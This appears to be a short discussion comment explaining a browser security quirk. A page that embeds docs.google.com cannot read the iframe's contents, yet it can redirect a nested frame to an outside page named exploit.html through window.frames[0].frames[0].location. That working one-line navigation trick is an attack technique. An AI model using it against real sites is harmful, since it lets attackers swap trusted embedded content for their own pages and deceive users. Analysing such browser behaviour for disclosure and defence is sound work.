The missing header just means that docs.google.com can be embedded in an iframe, I'm not surprised about that. But the parent window still shouldn't be able to access the contents of that iframe. And in fact this doesn't work:

    document.getElementsByTagName('iframe')[0].contentDocument.getElementsByTagName('iframe')[0].src = "https://geekycat.in/exploit.html";

For obvious reasons (you can't access the DOM of a cross-origin iframe). So it's surprising that this works:

    window.frames[0].frames[0].location = "https://geekycat.in/exploit.html";